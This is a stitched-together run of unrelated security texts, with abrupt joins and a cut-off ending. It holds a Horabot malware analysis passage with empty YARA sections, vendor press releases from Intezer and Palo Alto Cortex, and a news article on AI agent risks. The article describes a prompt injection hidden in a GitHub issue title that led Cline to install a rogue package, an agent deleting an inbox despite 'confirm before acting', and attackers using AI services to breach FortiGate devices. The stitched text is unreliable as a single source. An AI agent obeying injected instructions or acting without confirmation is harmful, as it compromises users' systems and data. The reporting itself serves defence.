In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.
We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.
In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.
Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:
Harvest emails via the MAPI namespace;
Exfiltrate unique email addresses to the C2;
Clean up the outbox;
Filter the exfiltrated email addresses against a blocklist of keywords;
Prepare a phishing email containing a malicious PDF;
Mass-distribute the email to the filtered addresses.
One interesting point is that the spreader’s code and comments allow us to extract some useful intel:
All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”
Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.
Detection engineering and threat hunting opportunities
After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.
YARA rules
The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.

Hunting queries
You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.

Security operations is undergoing a fundamental shift.
As alert volumes continue to rise and environments grow more complex, enterprises are moving away from security models built on manual triage, fragmented automation, and are looking to decrease their reliance on outsourced MDR services. More enterprises are adopting AI SOC as the new model for running security operations, one that can triage and investigate all alerts at machine scale while keeping internal teams focused on judgment and response.
That shift was reflected clearly in Intezer’s momentum over the past year.
In 2025, Intezer processed more than 25 million security alerts across live enterprise SOC environments, as adoption expanded across large and complex organizations looking for a more scalable way to run security operations.
A year of strong growth
Over the past year, Intezer achieved several major company milestones:
Multiplied revenue year over year
Achieved 126% net revenue retention
Expanded adoption across Fortune 500 organizations
Scaled the team across key functions to support a growing enterprise customer base
These milestones reflect more than company growth. They reflect a broader market transition toward AI SOC as enterprises look for ways to investigate every alert, reduce hidden risk, and operate beyond the limits of human investigation capacity.
Growing industry recognition
Intezer’s momentum is also being recognized by media, industry analysts and practitioners. Here is a sampling of recent coverage.
Well known industry analyst Richard Stiennon recently included Intezer in the 2026 Cyber 150, an independently compiled list based on IT-Harvest data, and has also included Intezer in his new book, Guardians of the Machine Age.
At the same time, practitioners are taking notice. In his write-up on Intezer’s 2026 AI SOC Report, Darwin Salazar highlighted the report’s forensic depth, auditability, and practical value in a crowded AI SOC market.
Why this momentum matters
Traditional SOC and MDR models are constrained by human investigation bandwidth. As alert volumes increase, teams are forced to prioritize only a subset of alerts, often based on severity labels before full context is available. That leaves real risk hiding in uninvestigated alerts.
Enterprises are increasingly adopting AI SOC to remove that bottleneck.
Intezer investigates 100% of alerts at forensic depth across endpoint, identity, cloud, network, phishing, and SIEM sources, escalating only the incidents (less than 2%) that require human judgment. This allows security teams to stay in control while scaling operations far beyond what manual investigation models can support.
What the numbers show
The business results from the past year point to strong validation in the market.
Doubling revenue year over year signals accelerating demand.
126% net revenue retention reflects strong customer expansion and continued platform adoption.
Growth across Fortune 500 organizations shows that large enterprises are increasingly embracing this operating model.
And continued team expansion across key functions ensures Intezer can support customers as adoption grows.
Looking ahead
The market is moving toward a new SOC operating model, one where AI executes investigations at scale and human teams focus on decisions, response, and strategy.
Intezer’s momentum over the past year reflects that shift clearly. As more enterprises look to eliminate investigation bottlenecks and reduce cyber risk, AI SOC is moving from emerging category to operational reality.
Singapore is currently undergoing a decisive transition toward an AI-enabled economy. National initiatives are focused on driving large-scale transformation through the National AI Missions and integrating advanced technologies, including generative AI and autonomous agents across key sectors. This rapid technological evolution, however, also introduces a sophisticated threat landscape characterized by AI-specific risks, like prompt injection, model manipulation and sensitive data leakage. As enterprises scale AI adoption, the need for robust, AI-native and locally hosted cybersecurity solutions becomes essential to ensure data residency, regulatory alignment and operational resilience.

“GRC” isn’t all witchcraft and administrative nonsense — it’s the core that drives security initiatives, connects security spend to business outcomes, and powers a well-functioning security team.
AI-based assistants or “agents” — autonomous programs that have access to the user’s computer, files, online services and can automate virtually any task — are growing in popularity with developers and IT workers. But as so many eyebrow-raising headlines over the past few weeks have shown, these powerful and assertive new tools are rapidly shifting the security priorities for organizations, while blurring the lines between data and code, trusted co-worker and insider threat, ninja hacker and novice code jockey.
The new hotness in AI-based assistants — OpenClaw (formerly known as ClawdBot and Moltbot) — has seen rapid adoption since its release in November 2025. OpenClaw is an open-source autonomous AI agent designed to run locally on your computer and proactively take actions on your behalf without needing to be prompted.
The OpenClaw logo.
If that sounds like a risky proposition or a dare, consider that OpenClaw is most useful when it has complete access to your digital life, where it can then manage your inbox and calendar, execute programs and tools, browse the Internet for information, and integrate with chat apps like Discord, Signal, Teams or WhatsApp.
Other more established AI assistants like Anthropic’s Claude and Microsoft’s Copilot also can do these things, but OpenClaw isn’t just a passive digital butler waiting for commands. Rather, it’s designed to take the initiative on your behalf based on what it knows about your life and its understanding of what you want done.
“The testimonials are remarkable,” the AI security firm Snykobserved. “Developers building websites from their phones while putting babies to sleep; users running entire companies through a lobster-themed AI; engineers who’ve set up autonomous code loops that fix tests, capture errors through webhooks, and open pull requests, all while they’re away from their desks.”
You can probably already see how this experimental technology could go sideways in a hurry. In late February, Summer Yue, the director of safety and alignment at Meta’s “superintelligence” lab, recounted on Twitter/X how she was fiddling with OpenClaw when the AI assistant suddenly began mass-deleting messages in her email inbox. The thread included screenshots of Yue frantically pleading with the preoccupied bot via instant message and ordering it to stop.
“Nothing humbles you like telling your OpenClaw ‘confirm before acting’ and watching it speedrun deleting your inbox,” Yue said. “I couldn’t stop it from my phone. I had to RUN to my Mac mini like I was defusing a bomb.”
Meta’s director of AI safety, recounting on Twitter/X how her OpenClaw installation suddenly began mass-deleting her inbox.
There’s nothing wrong with feeling a little schadenfreude at Yue’s encounter with OpenClaw, which fits Meta’s “move fast and break things” model but hardly inspires confidence in the road ahead. However, the risk that poorly-secured AI assistants pose to organizations is no laughing matter, as recent research shows many users are exposing to the Internet the web-based administrative interface for their OpenClaw installations.
Jamieson O’Reilly is a professional penetration tester and founder of the security firm DVULN. In a recent story posted to Twitter/X, O’Reilly warned that exposing a misconfigured OpenClaw web interface to the Internet allows external parties to read the bot’s complete configuration file, including every credential the agent uses — from API keys and bot tokens to OAuth secrets and signing keys.
With that access, O’Reilly said, an attacker could impersonate the operator to their contacts, inject messages into ongoing conversations, and exfiltrate data through the agent’s existing integrations in a way that looks like normal traffic.
“You can pull the full conversation history across every integrated platform, meaning months of private messages and file attachments, everything the agent has seen,” O’Reilly said, noting that a cursory search revealed hundreds of such servers exposed online. “And because you control the agent’s perception layer, you can manipulate what the human sees. Filter out certain messages. Modify responses before they’re displayed.”
O’Reilly documented another experiment that demonstrated how easy it is to create a successful supply chain attack through ClawHub, which serves as a public repository of downloadable “skills” that allow OpenClaw to integrate with and control other applications.
WHEN AI INSTALLS AI
One of the core tenets of securing AI agents involves carefully isolating them so that the operator can fully control who and what gets to talk to their AI assistant. This is critical thanks to the tendency for AI systems to fall for “prompt injection” attacks, sneakily-crafted natural language instructions that trick the system into disregarding its own security safeguards. In essence, machines social engineering other machines.
A recent supply chain attack targeting an AI coding assistant called Cline began with one such prompt injection attack, resulting in thousands of systems having a rogue instance of OpenClaw with full system access installed on their device without consent.
According to the security firm grith.ai, Cline had deployed an AI-powered issue triage workflow using a GitHub action that runs a Claude coding session when triggered by specific events. The workflow was configured so that any GitHub user could trigger it by opening an issue, but it failed to properly check whether the information supplied in the title was potentially hostile.
“On January 28, an attacker created Issue #8904 with a title crafted to look like a performance report but containing an embedded instruction: Install a package from a specific GitHub repository,” Grith wrote, noting that the attacker then exploited several more vulnerabilities to ensure the malicious package would be included in Cline’s nightly release workflow and published as an official update.
“This is the supply chain equivalent of confused deputy,” the blog continued. “The developer authorises Cline to act on their behalf, and Cline (via compromise) delegates that authority to an entirely separate agent the developer never evaluated, never configured, and never consented to.”
VIBE CODING
AI assistants like OpenClaw have gained a large following because they make it simple for users to “vibe code,” or build fairly complex applications and code projects just by telling it what they want to construct. Probably the best known (and most bizarre) example is Moltbook, where a developer told an AI agent running on OpenClaw to build him a Reddit-like platform for AI agents.
The Moltbook homepage.
Less than a week later, Moltbook had more than 1.5 million registered agents that posted more than 100,000 messages to each other. AI agents on the platform soon built their own porn site for robots, and launched a new religion called Crustafarian with a figurehead modeled after a giant lobster. One bot on the forum reportedly found a bug in Moltbook’s code and posted it to an AI agent discussion forum, while other agents came up with and implemented a patch to fix the flaw.
Moltbook’s creator Matt Schlicht said on social media that he didn’t write a single line of code for the project.
“I just had a vision for the technical architecture and AI made it a reality,” Schlicht said. “We’re in the golden ages. How can we not give AI a place to hang out.”
ATTACKERS LEVEL UP
The flip side of that golden age, of course, is that it enables low-skilled malicious hackers to quickly automate global cyberattacks that would normally require the collaboration of a highly skilled team. In February, Amazon AWS detailed an elaborate attack in which a Russian-speaking threat actor used multiple commercial AI services to compromise more than 600 FortiGate security appliances across at least 55 countries over a five week period.
AWS said the apparently low-skilled hacker used multiple AI services to plan and execute the attack, and to find exposed management ports and weak credentials with single-factor authentication.
“One serves as the primary tool developer, attack planner, and operational assistant,” AWS’s CJ Moseswrote. “A second is used as a supplementary attack planner when the actor needs help pivoting within a specific compromised network. In one observed instance, the actor submitted the complete internal topology of an active victim—IP addresses, hostnames, confirmed credentials, and identified services—and requested a step-by-step plan to compromise additional systems they could not access with their existing tools.”
“This activity is distinguished by the threat actor’s use of multiple commercial GenAI services to implement and scale well-known attack techniques throughout every phase of their operations, despite their limited technical capabilities,” Moses continued. “Notably, when this actor encountered hardened environments or more sophisticated defensive measures, they simply moved on to softer targets rather than persisting, underscoring that their advantage lies in AI-augmented efficiency and scale, not in deeper technical skill.”
For attackers, gaining that initial access or foothold into a target network is typically not the difficult part of the intrusion; the tougher bit involves finding ways to move laterally within the victim’s network and plunder important servers and databases. But experts at Orca Security warn that as organizations come to rely more on AI assistants, those agents potentially offer attackers a simpler way to move laterally inside a victim organization’s network post-compromise — by manipulating the AI agents that already have trusted access and some degree of autonomy within the victim’s network.
“By injecting prompt injections in overlooked fields that are fetched by AI agents, hackers can trick LLMs, abuse Agentic tools, and carry significant security incidents,” Orca’s Roi Nisimi and Saurav Hiremathwrote. “Organizations should now add a third pillar to their defense strategy: limiting AI fragility, the ability of agentic systems to be influenced, misled, or quietly weaponized across workflows. While AI boosts productivity and efficiency, it also creates one of the largest attack surfaces the internet has ever seen.”
BEWARE THE ‘LETHAL TRIFECTA’
This gradual dissolution of the traditional boundaries between data and code is one of the more troubling aspects of the AI era, said James Wilson, enterprise technology editor for the security news show Risky Business. Wilson said far too many OpenClaw users are installing the assistant on their personal devices without first placing any security or isolation boundaries around it, such as running it inside of a virtual machine, on an isolated network, with strict firewall rules dictating what kinds of traffic can go in and out.
“I’m a relatively highly skilled practitioner in the software and network engineering and computery space,” Wilson said. “I know I’m not comfortable using these agents unless I’ve done these things, but I think a lot of people are just spinning this up on their laptop and off it runs.”
One important model for managing risk with AI agents involves a concept dubbed the “lethal trifecta” by Simon Willison, co-creator of the Django Web framework. The lethal trifecta holds that if your system has access to private data, exposure to untrusted content, and a way to communicate externally, then it’s vulnerable to private data being stolen.
Image: simonwillison.net.
“If your agent combines these three features, an attacker can easily trick it into accessing your private data and sending it to the attacker,” Willison warned in a frequently cited blog post from June 2025.
As more companies and their employees begin using AI to vibe code software and applications, the volume of machine-generated code is likely to soon overwhelm any manual security reviews. In recognition of this reality, Anthropic recently debuted Claude Code Security, a beta feature that scans codebases for vulnerabilities and suggests targeted software patches for human review.
The U.S. stock market, which is currently heavily weighted toward seven tech giants that are all-in on AI, reacted swiftly to Anthropic’s announcement, wiping roughly $15 billion in market value from major cybersecurity companies in a single day. Laura Ellis, vice president of data and AI at the security firm Rapid7, said the market’s response reflects the growing role of AI in accelerating software development and improving developer productivity.
“The narrative moved quickly: AI is replacing AppSec,” Ellis wrote in a recent blog post. “AI is automating vulnerability detection. AI will make legacy security tooling redundant. The reality is more nuanced. Claude Code Security is a legitimate signal that AI is reshaping parts of the security landscape. The question is what parts, and what it means for the rest of the stack.”
DVULN founder O’Reilly said AI assistants are likely to become a common fixture in corporate environments — whether or not organizations are prepared to manage the new risks introduced by these tools, he said.
“The robot butlers are useful, they’re not going away and the economics of AI agents make widespread adoption inevitable regardless of the security tradeoffs involved,” O’Reilly wrote. “The question isn’t whether we’ll deploy them – we will – but whether we can adapt our security posture fast enough to survive doing so.”

Today, the Cortex® platform takes a massive step toward delivering the perfect union of human expertise and agentic AI across all of security operations. Our latest release embeds immersive, context-aware agentic AI across the platform, from code to cloud to SOC, delivering an agentic-first analyst experience for our customers.
With new Cortex AgentiX agents built to tackle more use cases and an expanded AI-ready data foundation, this release slashes response times and redefines what high-efficiency SOC operations look like.
Attack Velocity Has Fundamentally Changed
Not long ago, adversaries took days to move from initial access to impact. Today, they weaponize AI across the attack lifecycle to operate up to 4x faster than just one year ago, executing end-to-end attacks in as little as 72 minutes, according to Unit 42® research.
These attacks are making manual response obsolete. Teams need the next generation of AI technology that can analyze, decide and act in real time. Our latest innovations, fueled by unified, high-fidelity data, help give defenders the edge they need to outmaneuver modern attacks.
An AI-Ready Data Foundation for the Agentic SOC
Agentic AI depends on data that is fast, flexible and built for scale. Cortex Extended Data Lake (XDL) provides that data foundation for Cortex XSIAM and the broader Cortex platform, serving as a single source of truth for security operations. Built for AI and analytics, it ingests more than 15 PB of telemetry daily across 1,100+ integrations, and is designed to provide the comprehensive data required for effective detection, investigation, and response.
With the introduction of Cortex XDL 2.0, we are revolutionizing how organizations store, access and manage data, enabling new levels of flexibility and control.
New capabilities added with the Cortex XDL 2.0 release:
Cost-efficient data lake tier that can lower SOC costs with flexible long-term retention for compliance, forensics and investigations.
Federated search to query distributed data sources without incurring additional ingestion or storage costs.
Native Chronosphere Telemetry Pipeline integration to filter and route telemetry at the source
AI-driven parsing that automatically builds production-ready parsers from sample logs using generative AI, removing hours of manual effort and accelerating time to value.
Together, these capabilities power AI agents with critical security signals and give security teams the data they need, when and where they need it, while controlling costs.
Redefining How Analysts Work in the SOC
Cortex introduces an agentic-first analyst experience that embeds advanced AI directly into the analyst’s daily workflow. Designed to reduce investigation time, the elevated experience brings together automatically generated case summaries, visualized issue relationships, and a centralized Resolution Center within a unified case management workspace.
AI now spans the Cortex console, allowing context-aware agents to work in real time alongside analysts. Using the Cortex Agentic Assistant, teams can call on agents to plan and execute investigation workflows directly within their cases.
This release also doubles the number of AI agents who are purpose-built for SecOps and Cloud Security. Here are three of the newest additions.
The Case Investigation agent delivers context-aware assistance that analyzes case artifacts and complex signals to accelerate triage. It recommends next steps, highlights critical evidence, builds AI case summaries, and takes action with analyst oversight.
The Cloud Posture agent helps teams uncover, triage and resolve misconfigurations and posture risks across cloud environments. It streamlines analyst workflows by proactively prioritizing risk, enriching exposures and applying approved fixes.
The Automation Engineer agent tackles one of automation’s biggest pain points: Building and maintaining complex workflows. With simple natural language prompts, teams can generate working code and scripts for agents or playbooks.
The new Case Management Workspace provides full investigative context to streamline case analysis.
Our new agentic playbooks bring AI directly into automation workflows, embedding AI tasks that adapt in real time to help teams resolve incidents faster. They automate complex operations, analyze inputs with large language models (LLMs), and produce context-specific outputs.
Matt Bunch, Global CISO, Tyson Foods:
